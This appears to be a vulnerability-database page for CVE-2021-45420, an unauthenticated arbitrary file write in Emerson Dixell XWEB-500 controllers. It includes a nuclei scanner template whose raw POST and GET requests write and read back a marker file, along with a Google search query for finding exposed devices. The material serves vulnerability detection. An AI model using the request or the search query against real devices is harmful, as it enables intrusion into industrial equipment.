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CVE-2021-45420· emerson / dixell xweb-500· CWE-200
Emerson Dixell XWEB-500 - Arbitrary File Write
Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi, letting attackers write any file on the system, exploit requires no authentication.
Impact
Unauthenticated attackers can write arbitrary files to any location on the Dixell XWEB-500 server, potentially uploading malicious CGI scripts or modifying system files.
Fix
Apply firmware updates provided by Emerson Dixell or restrict network access to the device.
How to confirm it
Send: POST /cgi-bin/logo_extra_upload.cgi ; GET /logo/{{randstr}}.txt
Positive when: contains(body_2, "dixell-xweb500-filewrite") AND status 200Run it with nuclei: nuclei -id CVE-2021-45420 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-45420
info:
name: Emerson Dixell XWEB-500 - Arbitrary File Write
author: hackerarpan
severity: critical
description: |
Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi, letting attackers write any file on the system, exploit requires no authentication.
impact: |
Unauthenticated attackers can write arbitrary files to any location on the Dixell XWEB-500 server, potentially uploading malicious CGI scripts or modifying system files.
remediation: |
Apply firmware updates provided by Emerson Dixell or restrict network access to the device.
reference:
- https://www.exploit-db.com/exploits/50639
- https://www.swascan.com/emerson
- https://nvd.nist.gov/vuln/detail/CVE-2021-45420
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45420
cwe-id: CWE-200
epss-score: 0.1755
epss-percentile: 0.97162
cpe: cpe:2.3:h:emerson:dixell_xweb-500:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: emerson
product: dixell_xweb-500
google-query: inurl:"xweb500.cgi"
tags: cve,cve2021,lfw,iot,dixell,xweb500,edb,fileupload,intrusive,vkev,vuln
http:
- raw:
- |
POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{randstr}}.txt
dixell-xweb500-filewrite
- |
GET /logo/{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_2, "dixell-xweb500-filewrite")'
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/50639
- https://www.swascan.com/emerson
- https://nvd.nist.gov/vuln/detail/CVE-2021-45420
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